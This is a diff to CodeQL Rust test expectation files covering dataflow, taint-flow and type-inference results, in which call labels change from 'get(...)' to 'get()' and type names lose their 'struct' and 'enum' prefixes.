main.rs:156:18:156:21 | SelfParam [MyNumber] | main.rs:156:31:160:5 | { ... } | main.rs:192:14:192:34 | my_number.to_number(...) | +| main.rs:174:13:174:21 | my_number [MyNumber] | main.rs:156:18:156:21 | SelfParam [MyNumber] | main.rs:156:31:160:5 | { ... } | main.rs:175:14:175:34 | my_number.to_number() | +| main.rs:180:15:180:24 | &my_number [&ref, MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | main.rs:162:26:166:5 | { ... } | main.rs:180:14:180:31 | ... .get() | +| main.rs:186:14:186:22 | my_number [MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | main.rs:162:26:166:5 | { ... } | main.rs:186:14:186:28 | my_number.get() | +| main.rs:192:14:192:22 | my_number [&ref, MyNumber] | main.rs:156:18:156:21 | SelfParam [MyNumber] | main.rs:156:31:160:5 | { ... } | main.rs:192:14:192:34 | my_number.to_number() | | main.rs:210:20:210:29 | source(...) | main.rs:200:29:200:38 | ...: i64 | main.rs:200:16:200:26 | ...: ... [Return] [&ref] | main.rs:210:17:210:17 | [post] p [&ref] | | main.rs:218:25:218:34 | source(...) | main.rs:200:29:200:38 | ...: i64 | main.rs:200:16:200:26 | ...: ... [Return] [&ref] | main.rs:218:17:218:22 | [post] &mut n [&ref] | | main.rs:234:36:234:45 | source(...) | main.rs:228:37:228:47 | ...: i64 | main.rs:228:19:228:34 | ...: ... [Return] [&ref, MyNumber] | main.rs:234:20:234:33 | [post] &mut my_number [&ref, MyNumber] | -| main.rs:235:14:235:22 | my_number [MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | main.rs:162:26:166:5 | { ... } | main.rs:235:14:235:28 | my_number.get(...) | -| main.rs:237:14:237:22 | my_number [MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | main.rs:162:26:166:5 | { ... } | main.rs:237:14:237:28 | my_number.get(...) | +| main.rs:235:14:235:22 | my_number [MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | main.rs:162:26:166:5 | { ... } | main.rs:235:14:235:28 | my_number.get() | +| main.rs:237:14:237:22 | my_number [MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | main.rs:162:26:166:5 | { ... } | main.rs:237:14:237:28 | my_number.get() | | main.rs:243:23:243:32 | source(...) | main.rs:223:27:223:37 | ...: i64 | main.rs:223:16:223:24 | SelfParam [Return] [&ref, MyNumber] | main.rs:243:9:243:17 | [post] my_number [MyNumber] | | main.rs:244:24:244:32 | my_number [MyNumber] | main.rs:149:14:149:24 | ...: MyNumber [MyNumber] | main.rs:149:34:153:1 | { ... } | main.rs:244:14:244:33 | to_number(...) | | main.rs:246:24:246:32 | my_number [MyNumber] | main.rs:149:14:149:24 | ...: MyNumber [MyNumber] | main.rs:149:34:153:1 | { ... } | main.rs:246:14:246:33 | to_number(...) | @@ -287,14 +287,14 @@ testFailures | main.rs:74:14:74:15 | * ... | main.rs:73:14:73:23 | source(...) | main.rs:74:14:74:15 | * ... | $@ | main.rs:73:14:73:23 | source(...) | source(...) | | main.rs:106:14:106:15 | * ... | main.rs:105:14:105:23 | source(...) | main.rs:106:14:106:15 | * ... | $@ | main.rs:105:14:105:23 | source(...) | source(...) | | main.rs:113:14:113:15 | * ... | main.rs:112:25:112:34 | source(...) | main.rs:113:14:113:15 | * ... | $@ | main.rs:112:25:112:34 | source(...) | source(...) | -| main.rs:175:14:175:34 | my_number.to_number(...) | main.rs:174:44:174:53 | source(...) | main.rs:175:14:175:34 | my_number.to_number(...) | $@ | main.rs:174:44:174:53 | source(...) | source(...) | -| main.rs:180:14:180:31 | ... .get(...) | main.rs:179:44:179:53 | source(...) | main.rs:180:14:180:31 | ... .get(...) | $@ | main.rs:179:44:179:53 | source(...) | source(...) | -| main.rs:186:14:186:28 | my_number.get(...) | main.rs:184:44:184:53 | source(...) | main.rs:186:14:186:28 | my_number.get(...) | $@ | main.rs:184:44:184:53 | source(...) | source(...) | -| main.rs:192:14:192:34 | my_number.to_number(...) | main.rs:190:45:190:54 | source(...) | main.rs:192:14:192:34 | my_number.to_number(...) | $@ | main.rs:190:45:190:54 | source(...) | source(...) | +| main.rs:175:14:175:34 | my_number.to_number() | main.rs:174:44:174:53 | source(...) | main.rs:175:14:175:34 | my_number.to_number() | $@ | main.rs:174:44:174:53 | source(...) | source(...) | +| main.rs:180:14:180:31 | ... .get() | main.rs:179:44:179:53 | source(...) | main.rs:180:14:180:31 | ... .get() | $@ | main.rs:179:44:179:53 | source(...) | source(...) | +| main.rs:186:14:186:28 | my_number.get() | main.rs:184:44:184:53 | source(...) | main.rs:186:14:186:28 | my_number.get() | $@ | main.rs:184:44:184:53 | source(...) | source(...) | +| main.rs:192:14:192:34 | my_number.to_number() | main.rs:190:45:190:54 | source(...) | main.rs:192:14:192:34 | my_number.to_number() | $@ | main.rs:190:45:190:54 | source(...) | source(...) | | main.rs:211:14:211:15 | * ... | main.rs:210:20:210:29 | source(...) | main.rs:211:14:211:15 | * ... | $@ | main.rs:210:20:210:29 | source(...) | source(...) | | main.rs:219:14:219:14 | n | main.rs:218:25:218:34 | source(...) | main.rs:219:14:219:14 | n | $@ | main.rs:218:25:218:34 | source(...) | source(...) | -| main.rs:235:14:235:28 | my_number.get(...) | main.rs:234:36:234:45 | source(...) | main.rs:235:14:235:28 | my_number.get(...) | $@ | main.rs:234:36:234:45 | source(...) | source(...) | -| main.rs:237:14:237:28 | my_number.get(...) | main.rs:234:36:234:45 | source(...) | main.rs:237:14:237:28 | my_number.get(...) | $@ | main.rs:234:36:234:45 | source(...) | source(...) | +| main.rs:235:14:235:28 | my_number.get() | main.rs:234:36:234:45 | source(...) | main.rs:235:14:235:28 | my_number.get() | $@ | main.rs:234:36:234:45 | source(...) | source(...) | +| main.rs:237:14:237:28 | my_number.get() | main.rs:234:36:234:45 | source(...) | main.rs:237:14:237:28 | my_number.get() | $@ | main.rs:234:36:234:45 | source(...) | source(...) | | main.rs:244:14:244:33 | to_number(...) | main.rs:243:23:243:32 | source(...) | main.rs:244:14:244:33 | to_number(...) | $@ | main.rs:243:23:243:32 | source(...) | source(...) | | main.rs:246:14:246:33 | to_number(...) | main.rs:243:23:243:32 | source(...) | main.rs:246:14:246:33 | to_number(...) | $@ | main.rs:243:23:243:32 | source(...) | source(...) | | main.rs:253:14:253:33 | to_number(...) | main.rs:252:30:252:39 | source(...) | main.rs:253:14:253:33 | to_number(...) | $@ | main.rs:252:30:252:39 | source(...) | source(...) | diff --git a/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected b/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected index fc23e6254d5..08c883f1ec1 100644 --- a/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected +++ b/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected @@ -18,11 +18,11 @@ edges | main.rs:52:6:52:7 | s2 | main.rs:53:7:53:8 | s2 | provenance | | | main.rs:52:11:52:26 | ...::from(...) | main.rs:52:6:52:7 | s2 | provenance | | | main.rs:52:24:52:25 | s1 | main.rs:52:11:52:26 | ...::from(...) | provenance | MaD:2 | -| main.rs:57:6:57:7 | s1 | main.rs:58:11:58:24 | s1.to_string(...) | provenance | MaD:1 | +| main.rs:57:6:57:7 | s1 | main.rs:58:11:58:24 | s1.to_string() | provenance | MaD:1 | | main.rs:57:11:57:26 | source_slice(...) | main.rs:57:6:57:7 | s1 | provenance | | | main.rs:58:6:58:7 | s2 | main.rs:59:7:59:8 | s2 | provenance | | -| main.rs:58:11:58:24 | s1.to_string(...) | main.rs:58:6:58:7 | s2 | provenance | | -| main.rs:63:9:63:9 | s | main.rs:64:16:64:25 | s.as_str(...) | provenance | MaD:3 | +| main.rs:58:11:58:24 | s1.to_string() | main.rs:58:6:58:7 | s2 | provenance | | +| main.rs:63:9:63:9 | s | main.rs:64:16:64:25 | s.as_str() | provenance | MaD:3 | | main.rs:63:13:63:22 | source(...) | main.rs:63:9:63:9 | s | provenance | | | main.rs:68:9:68:9 | s | main.rs:70:34:70:61 | MacroExpr | provenance | | | main.rs:68:9:68:9 | s | main.rs:73:34:73:59 | MacroExpr | provenance | | @@ -71,11 +71,11 @@ nodes | main.rs:57:6:57:7 | s1 | semmle.label | s1 | | main.rs:57:11:57:26 | source_slice(...) | semmle.label | source_slice(...) | | main.rs:58:6:58:7 | s2 | semmle.label | s2 | -| main.rs:58:11:58:24 | s1.to_string(...) | semmle.label | s1.to_string(...) | +| main.rs:58:11:58:24 | s1.to_string() | semmle.label | s1.to_string() | | main.rs:59:7:59:8 | s2 | semmle.label | s2 | | main.rs:63:9:63:9 | s | semmle.label | s | | main.rs:63:13:63:22 | source(...) | semmle.label | source(...) | -| main.rs:64:16:64:25 | s.as_str(...) | semmle.label | s.as_str(...) | +| main.rs:64:16:64:25 | s.as_str() | semmle.label | s.as_str() | | main.rs:68:9:68:9 | s | semmle.label | s | | main.rs:68:13:68:22 | source(...) | semmle.label | source(...) | | main.rs:70:9:70:18 | formatted1 | semmle.label | formatted1 | @@ -113,7 +113,7 @@ testFailures | main.rs:38:10:38:11 | s4 | main.rs:32:14:32:23 | source(...) | main.rs:38:10:38:11 | s4 | $@ | main.rs:32:14:32:23 | source(...) | source(...) | | main.rs:53:7:53:8 | s2 | main.rs:51:11:51:26 | source_slice(...) | main.rs:53:7:53:8 | s2 | $@ | main.rs:51:11:51:26 | source_slice(...) | source_slice(...) | | main.rs:59:7:59:8 | s2 | main.rs:57:11:57:26 | source_slice(...) | main.rs:59:7:59:8 | s2 | $@ | main.rs:57:11:57:26 | source_slice(...) | source_slice(...) | -| main.rs:64:16:64:25 | s.as_str(...) | main.rs:63:13:63:22 | source(...) | main.rs:64:16:64:25 | s.as_str(...) | $@ | main.rs:63:13:63:22 | source(...) | source(...) | +| main.rs:64:16:64:25 | s.as_str() | main.rs:63:13:63:22 | source(...) | main.rs:64:16:64:25 | s.as_str() | $@ | main.rs:63:13:63:22 | source(...) | source(...) | | main.rs:71:10:71:19 | formatted1 | main.rs:68:13:68:22 | source(...) | main.rs:71:10:71:19 | formatted1 | $@ | main.rs:68:13:68:22 | source(...) | source(...) | | main.rs:74:10:74:19 | formatted2 | main.rs:68:13:68:22 | source(...) | main.rs:74:10:74:19 | formatted2 | $@ | main.rs:68:13:68:22 | source(...) | source(...) | | main.rs:78:10:78:19 | formatted3 | main.rs:76:17:76:32 | source_usize(...) | main.rs:78:10:78:19 | formatted3 | $@ | main.rs:76:17:76:32 | source_usize(...) | source_usize(...) | diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index e7788f014ca..7e8d0e4e73c 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -2,140 +2,140 @@ inferType | loop/main.rs:7:12:7:15 | SelfParam | | loop/main.rs:6:1:8:1 | Self [trait T1] | | loop/main.rs:11:12:11:15 | SelfParam | | loop/main.rs:10:1:14:1 | Self [trait T2] | | loop/main.rs:12:9:12:12 | self | | loop/main.rs:10:1:14:1 | Self [trait T2] | -| main.rs:26:13:26:13 | x | | main.rs:5:5:8:5 | struct MyThing | -| main.rs:26:17:26:32 | MyThing {...} | | main.rs:5:5:8:5 | struct MyThing | -| main.rs:26:30:26:30 | S | | main.rs:2:5:3:13 | struct S | -| main.rs:27:26:27:26 | x | | main.rs:5:5:8:5 | struct MyThing | -| main.rs:27:26:27:28 | x.a | | main.rs:2:5:3:13 | struct S | -| main.rs:32:13:32:13 | x | | main.rs:16:5:19:5 | struct GenericThing | -| main.rs:32:13:32:13 | x | A | main.rs:2:5:3:13 | struct S | -| main.rs:32:17:32:42 | GenericThing::<...> {...} | | main.rs:16:5:19:5 | struct GenericThing | -| main.rs:32:17:32:42 | GenericThing::<...> {...} | A | main.rs:2:5:3:13 | struct S | -| main.rs:32:40:32:40 | S | | main.rs:2:5:3:13 | struct S | -| main.rs:33:26:33:26 | x | | main.rs:16:5:19:5 | struct GenericThing | -| main.rs:33:26:33:26 | x | A | main.rs:2:5:3:13 | struct S | -| main.rs:33:26:33:28 | x.a | | main.rs:2:5:3:13 | struct S | -| main.rs:36:13:36:13 | y | | main.rs:16:5:19:5 | struct GenericThing | -| main.rs:36:13:36:13 | y | A | main.rs:2:5:3:13 | struct S | -| main.rs:36:17:36:37 | GenericThing {...} | | main.rs:16:5:19:5 | struct GenericThing | -| main.rs:36:17:36:37 | GenericThing {...} | A | main.rs:2:5:3:13 | struct S | -| main.rs:36:35:36:35 | S | | main.rs:2:5:3:13 | struct S | -| main.rs:37:26:37:26 | x | | main.rs:16:5:19:5 | struct GenericThing | -| main.rs:37:26:37:26 | x | A | main.rs:2:5:3:13 | struct S | -| main.rs:37:26:37:28 | x.a | | main.rs:2:5:3:13 | struct S | -| main.rs:41:13:41:13 | x | | main.rs:21:5:23:5 | struct OptionS | -| main.rs:41:17:43:9 | OptionS {...} | | main.rs:21:5:23:5 | struct OptionS | -| main.rs:42:16:42:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | enum MyOption | -| main.rs:42:16:42:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | struct S | -| main.rs:44:26:44:26 | x | | main.rs:21:5:23:5 | struct OptionS | -| main.rs:44:26:44:28 | x.a | | main.rs:10:5:14:5 | enum MyOption | -| main.rs:44:26:44:28 | x.a | T | main.rs:2:5:3:13 | struct S | -| main.rs:47:13:47:13 | x | | main.rs:16:5:19:5 | struct GenericThing | -| main.rs:47:13:47:13 | x | A | main.rs:10:5:14:5 | enum MyOption | -| main.rs:47:13:47:13 | x | A.T | main.rs:2:5:3:13 | struct S | -| main.rs:47:17:49:9 | GenericThing::<...> {...} | | main.rs:16:5:19:5 | struct GenericThing | -| main.rs:47:17:49:9 | GenericThing::<...> {...} | A | main.rs:10:5:14:5 | enum MyOption | -| main.rs:47:17:49:9 | GenericThing::<...> {...} | A.T | main.rs:2:5:3:13 | struct S | -| main.rs:48:16:48:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | enum MyOption | -| main.rs:48:16:48:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | struct S | -| main.rs:50:26:50:26 | x | | main.rs:16:5:19:5 | struct GenericThing | -| main.rs:50:26:50:26 | x | A | main.rs:10:5:14:5 | enum MyOption | -| main.rs:50:26:50:26 | x | A.T | main.rs:2:5:3:13 | struct S | -| main.rs:50:26:50:28 | x.a | | main.rs:10:5:14:5 | enum MyOption | -| main.rs:50:26:50:28 | x.a | T | main.rs:2:5:3:13 | struct S | -| main.rs:52:13:52:17 | mut x | | main.rs:16:5:19:5 | struct GenericThing | -| main.rs:52:13:52:17 | mut x | A | main.rs:10:5:14:5 | enum MyOption | -| main.rs:52:13:52:17 | mut x | A.T | main.rs:2:5:3:13 | struct S | -| main.rs:52:21:54:9 | GenericThing {...} | | main.rs:16:5:19:5 | struct GenericThing | -| main.rs:52:21:54:9 | GenericThing {...} | A | main.rs:10:5:14:5 | enum MyOption | -| main.rs:52:21:54:9 | GenericThing {...} | A.T | main.rs:2:5:3:13 | struct S | -| main.rs:53:16:53:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | enum MyOption | -| main.rs:53:16:53:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | struct S | -| main.rs:56:13:56:13 | a | | main.rs:10:5:14:5 | enum MyOption | -| main.rs:56:13:56:13 | a | T | main.rs:2:5:3:13 | struct S | -| main.rs:56:30:56:30 | x | | main.rs:16:5:19:5 | struct GenericThing | -| main.rs:56:30:56:30 | x | A | main.rs:10:5:14:5 | enum MyOption | -| main.rs:56:30:56:30 | x | A.T | main.rs:2:5:3:13 | struct S | -| main.rs:56:30:56:32 | x.a | | main.rs:10:5:14:5 | enum MyOption | -| main.rs:56:30:56:32 | x.a | T | main.rs:2:5:3:13 | struct S | -| main.rs:57:26:57:26 | a | | main.rs:10:5:14:5 | enum MyOption | -| main.rs:57:26:57:26 | a | T | main.rs:2:5:3:13 | struct S | -| main.rs:70:19:70:22 | SelfParam | | main.rs:67:5:67:21 | struct Foo | -| main.rs:70:33:72:9 | { ... } | | main.rs:67:5:67:21 | struct Foo | -| main.rs:71:13:71:16 | self | | main.rs:67:5:67:21 | struct Foo | -| main.rs:74:19:74:22 | SelfParam | | main.rs:67:5:67:21 | struct Foo | -| main.rs:74:32:76:9 | { ... } | | main.rs:67:5:67:21 | struct Foo | -| main.rs:75:13:75:16 | self | | main.rs:67:5:67:21 | struct Foo | -| main.rs:79:23:84:5 | { ... } | | main.rs:67:5:67:21 | struct Foo | -| main.rs:81:13:81:13 | x | | main.rs:67:5:67:21 | struct Foo | -| main.rs:81:17:81:22 | Foo {...} | | main.rs:67:5:67:21 | struct Foo | -| main.rs:82:13:82:13 | y | | main.rs:67:5:67:21 | struct Foo | -| main.rs:82:20:82:25 | Foo {...} | | main.rs:67:5:67:21 | struct Foo | -| main.rs:83:9:83:9 | x | | main.rs:67:5:67:21 | struct Foo | -| main.rs:86:14:86:14 | x | | main.rs:67:5:67:21 | struct Foo | -| main.rs:86:22:86:22 | y | | main.rs:67:5:67:21 | struct Foo | -| main.rs:86:37:90:5 | { ... } | | main.rs:67:5:67:21 | struct Foo | -| main.rs:88:9:88:9 | x | | main.rs:67:5:67:21 | struct Foo | -| main.rs:88:9:88:14 | x.m1(...) | | main.rs:67:5:67:21 | struct Foo | -| main.rs:89:9:89:9 | y | | main.rs:67:5:67:21 | struct Foo | -| main.rs:89:9:89:14 | y.m2(...) | | main.rs:67:5:67:21 | struct Foo | -| main.rs:105:15:105:18 | SelfParam | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:105:15:105:18 | SelfParam | A | main.rs:99:5:100:14 | struct S1 | -| main.rs:105:27:107:9 | { ... } | | main.rs:99:5:100:14 | struct S1 | -| main.rs:106:13:106:16 | self | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:106:13:106:16 | self | A | main.rs:99:5:100:14 | struct S1 | -| main.rs:106:13:106:18 | self.a | | main.rs:99:5:100:14 | struct S1 | -| main.rs:111:15:111:18 | SelfParam | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:111:15:111:18 | SelfParam | A | main.rs:101:5:102:14 | struct S2 | -| main.rs:111:29:113:9 | { ... } | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:111:29:113:9 | { ... } | A | main.rs:101:5:102:14 | struct S2 | -| main.rs:112:13:112:30 | Self {...} | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:112:13:112:30 | Self {...} | A | main.rs:101:5:102:14 | struct S2 | -| main.rs:112:23:112:26 | self | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:112:23:112:26 | self | A | main.rs:101:5:102:14 | struct S2 | -| main.rs:112:23:112:28 | self.a | | main.rs:101:5:102:14 | struct S2 | -| main.rs:117:15:117:18 | SelfParam | | main.rs:94:5:97:5 | struct MyThing | +| main.rs:26:13:26:13 | x | | main.rs:5:5:8:5 | MyThing | +| main.rs:26:17:26:32 | MyThing {...} | | main.rs:5:5:8:5 | MyThing | +| main.rs:26:30:26:30 | S | | main.rs:2:5:3:13 | S | +| main.rs:27:26:27:26 | x | | main.rs:5:5:8:5 | MyThing | +| main.rs:27:26:27:28 | x.a | | main.rs:2:5:3:13 | S | +| main.rs:32:13:32:13 | x | | main.rs:16:5:19:5 | GenericThing | +| main.rs:32:13:32:13 | x | A | main.rs:2:5:3:13 | S | +| main.rs:32:17:32:42 | GenericThing::<...> {...} | | main.rs:16:5:19:5 | GenericThing | +| main.rs:32:17:32:42 | GenericThing::<...> {...} | A | main.rs:2:5:3:13 | S | +| main.rs:32:40:32:40 | S | | main.rs:2:5:3:13 | S | +| main.rs:33:26:33:26 | x | | main.rs:16:5:19:5 | GenericThing | +| main.rs:33:26:33:26 | x | A | main.rs:2:5:3:13 | S | +| main.rs:33:26:33:28 | x.a | | main.rs:2:5:3:13 | S | +| main.rs:36:13:36:13 | y | | main.rs:16:5:19:5 | GenericThing | +| main.rs:36:13:36:13 | y | A | main.rs:2:5:3:13 | S | +| main.rs:36:17:36:37 | GenericThing {...} | | main.rs:16:5:19:5 | GenericThing | +| main.rs:36:17:36:37 | GenericThing {...} | A | main.rs:2:5:3:13 | S | +| main.rs:36:35:36:35 | S | | main.rs:2:5:3:13 | S | +| main.rs:37:26:37:26 | x | | main.rs:16:5:19:5 | GenericThing | +| main.rs:37:26:37:26 | x | A | main.rs:2:5:3:13 | S | +| main.rs:37:26:37:28 | x.a | | main.rs:2:5:3:13 | S | +| main.rs:41:13:41:13 | x | | main.rs:21:5:23:5 | OptionS | +| main.rs:41:17:43:9 | OptionS {...} | | main.rs:21:5:23:5 | OptionS | +| main.rs:42:16:42:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | MyOption | +| main.rs:42:16:42:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | S | +| main.rs:44:26:44:26 | x | | main.rs:21:5:23:5 | OptionS | +| main.rs:44:26:44:28 | x.a | | main.rs:10:5:14:5 | MyOption | +| main.rs:44:26:44:28 | x.a | T | main.rs:2:5:3:13 | S | +| main.rs:47:13:47:13 | x | | main.rs:16:5:19:5 | GenericThing | +| main.rs:47:13:47:13 | x | A | main.rs:10:5:14:5 | MyOption | +| main.rs:47:13:47:13 | x | A.T | main.rs:2:5:3:13 | S | +| main.rs:47:17:49:9 | GenericThing::<...> {...} | | main.rs:16:5:19:5 | GenericThing | +| main.rs:47:17:49:9 | GenericThing::<...> {...} | A | main.rs:10:5:14:5 | MyOption | +| main.rs:47:17:49:9 | GenericThing::<...> {...} | A.T | main.rs:2:5:3:13 | S | +| main.rs:48:16:48:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | MyOption | +| main.rs:48:16:48:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | S | +| main.rs:50:26:50:26 | x | | main.rs:16:5:19:5 | GenericThing | +| main.rs:50:26:50:26 | x | A | main.rs:10:5:14:5 | MyOption | +| main.rs:50:26:50:26 | x | A.T | main.rs:2:5:3:13 | S | +| main.rs:50:26:50:28 | x.a | | main.rs:10:5:14:5 | MyOption | +| main.rs:50:26:50:28 | x.a | T | main.rs:2:5:3:13 | S | +| main.rs:52:13:52:17 | mut x | | main.rs:16:5:19:5 | GenericThing | +| main.rs:52:13:52:17 | mut x | A | main.rs:10:5:14:5 | MyOption | +| main.rs:52:13:52:17 | mut x | A.T | main.rs:2:5:3:13 | S | +| main.rs:52:21:54:9 | GenericThing {...} | | main.rs:16:5:19:5 | GenericThing | +| main.rs:52:21:54:9 | GenericThing {...} | A | main.rs:10:5:14:5 | MyOption | +| main.rs:52:21:54:9 | GenericThing {...} | A.T | main.rs:2:5:3:13 | S | +| main.rs:53:16:53:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | MyOption | +| main.rs:53:16:53:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | S | +| main.rs:56:13:56:13 | a | | main.rs:10:5:14:5 | MyOption | +| main.rs:56:13:56:13 | a | T | main.rs:2:5:3:13 | S | +| main.rs:56:30:56:30 | x | | main.rs:16:5:19:5 | GenericThing | +| main.rs:56:30:56:30 | x | A | main.rs:10:5:14:5 | MyOption | +| main.rs:56:30:56:30 | x | A.T | main.rs:2:5:3:13 | S | +| main.rs:56:30:56:32 | x.a | | main.rs:10:5:14:5 | MyOption | +| main.rs:56:30:56:32 | x.a | T | main.rs:2:5:3:13 | S | +| main.rs:57:26:57:26 | a | | main.rs:10:5:14:5 | MyOption | +| main.rs:57:26:57:26 | a | T | main.rs:2:5:3:13 | S | +| main.rs:70:19:70:22 | SelfParam | | main.rs:67:5:67:21 | Foo | +| main.rs:70:33:72:9 | { ... } | | main.rs:67:5:67:21 | Foo | +| main.rs:71:13:71:16 | self | | main.rs:67:5:67:21 | Foo | +| main.rs:74:19:74:22 | SelfParam | | main.rs:67:5:67:21 | Foo | +| main.rs:74:32:76:9 | { ... } | | main.rs:67:5:67:21 | Foo | +| main.rs:75:13:75:16 | self | | main.rs:67:5:67:21 | Foo | +| main.rs:79:23:84:5 | { ... } | | main.rs:67:5:67:21 | Foo | +| main.rs:81:13:81:13 | x | | main.rs:67:5:67:21 | Foo | +| main.rs:81:17:81:22 | Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:82:13:82:13 | y | | main.rs:67:5:67:21 | Foo | +| main.rs:82:20:82:25 | Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:83:9:83:9 | x | | main.rs:67:5:67:21 | Foo | +| main.rs:86:14:86:14 | x | | main.rs:67:5:67:21 | Foo | +| main.rs:86:22:86:22 | y | | main.rs:67:5:67:21 | Foo | +| main.rs:86:37:90:5 | { ... } | | main.rs:67:5:67:21 | Foo | +| main.rs:88:9:88:9 | x | | main.rs:67:5:67:21 | Foo | +| main.rs:88:9:88:14 | x.m1() | | main.rs:67:5:67:21 | Foo | +| main.rs:89:9:89:9 | y | | main.rs:67:5:67:21 | Foo | +| main.rs:89:9:89:14 | y.m2() | | main.rs:67:5:67:21 | Foo | +| main.rs:105:15:105:18 | SelfParam | | main.rs:94:5:97:5 | MyThing | +| main.rs:105:15:105:18 | SelfParam | A | main.rs:99:5:100:14 | S1 | +| main.rs:105:27:107:9 | { ... } | | main.rs:99:5:100:14 | S1 | +| main.rs:106:13:106:16 | self | | main.rs:94:5:97:5 | MyThing | +| main.rs:106:13:106:16 | self | A | main.rs:99:5:100:14 | S1 | +| main.rs:106:13:106:18 | self.a | | main.rs:99:5:100:14 | S1 | +| main.rs:111:15:111:18 | SelfParam | | main.rs:94:5:97:5 | MyThing | +| main.rs:111:15:111:18 | SelfParam | A | main.rs:101:5:102:14 | S2 | +| main.rs:111:29:113:9 | { ... } | | main.rs:94:5:97:5 | MyThing | +| main.rs:111:29:113:9 | { ... } | A | main.rs:101:5:102:14 | S2 | +| main.rs:112:13:112:30 | Self {...} | | main.rs:94:5:97:5 | MyThing | +| main.rs:112:13:112:30 | Self {...} | A | main.rs:101:5:102:14 | S2 | +| main.rs:112:23:112:26 | self | | main.rs:94:5:97:5 | MyThing | +| main.rs:112:23:112:26 | self | A | main.rs:101:5:102:14 | S2 | +| main.rs:112:23:112:28 | self.a | | main.rs:101:5:102:14 | S2 | +| main.rs:117:15:117:18 | SelfParam | | main.rs:94:5:97:5 | MyThing | | main.rs:117:15:117:18 | SelfParam | A | main.rs:116:10:116:10 | T | | main.rs:117:26:119:9 | { ... } | | main.rs:116:10:116:10 | T | -| main.rs:118:13:118:16 | self | | main.rs:94:5:97:5 | struct MyThing | +| main.rs:118:13:118:16 | self | | main.rs:94:5:97:5 | MyThing | | main.rs:118:13:118:16 | self | A | main.rs:116:10:116:10 | T | | main.rs:118:13:118:18 | self.a | | main.rs:116:10:116:10 | T | -| main.rs:123:13:123:13 | x | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:123:13:123:13 | x | A | main.rs:99:5:100:14 | struct S1 | -| main.rs:123:17:123:33 | MyThing {...} | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:123:17:123:33 | MyThing {...} | A | main.rs:99:5:100:14 | struct S1 | -| main.rs:123:30:123:31 | S1 | | main.rs:99:5:100:14 | struct S1 | -| main.rs:124:13:124:13 | y | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:124:13:124:13 | y | A | main.rs:101:5:102:14 | struct S2 | -| main.rs:124:17:124:33 | MyThing {...} | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:124:17:124:33 | MyThing {...} | A | main.rs:101:5:102:14 | struct S2 | -| main.rs:124:30:124:31 | S2 | | main.rs:101:5:102:14 | struct S2 | -| main.rs:127:26:127:26 | x | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:127:26:127:26 | x | A | main.rs:99:5:100:14 | struct S1 | -| main.rs:127:26:127:28 | x.a | | main.rs:99:5:100:14 | struct S1 | -| main.rs:128:26:128:26 | y | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:128:26:128:26 | y | A | main.rs:101:5:102:14 | struct S2 | -| main.rs:128:26:128:28 | y.a | | main.rs:101:5:102:14 | struct S2 | -| main.rs:130:26:130:26 | x | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:130:26:130:26 | x | A | main.rs:99:5:100:14 | struct S1 | -| main.rs:131:26:131:26 | y | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:131:26:131:26 | y | A | main.rs:101:5:102:14 | struct S2 | -| main.rs:133:13:133:13 | x | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:133:13:133:13 | x | A | main.rs:99:5:100:14 | struct S1 | -| main.rs:133:17:133:33 | MyThing {...} | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:133:17:133:33 | MyThing {...} | A | main.rs:99:5:100:14 | struct S1 | -| main.rs:133:30:133:31 | S1 | | main.rs:99:5:100:14 | struct S1 | -| main.rs:134:13:134:13 | y | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:134:13:134:13 | y | A | main.rs:101:5:102:14 | struct S2 | -| main.rs:134:17:134:33 | MyThing {...} | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:134:17:134:33 | MyThing {...} | A | main.rs:101:5:102:14 | struct S2 | -| main.rs:134:30:134:31 | S2 | | main.rs:101:5:102:14 | struct S2 | -| main.rs:136:26:136:26 | x | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:136:26:136:26 | x | A | main.rs:99:5:100:14 | struct S1 | -| main.rs:136:26:136:31 | x.m2(...) | | main.rs:99:5:100:14 | struct S1 | -| main.rs:137:26:137:26 | y | | main.rs:94:5:97:5 | struct MyThing | -| main.rs:137:26:137:26 | y | A | main.rs:101:5:102:14 | struct 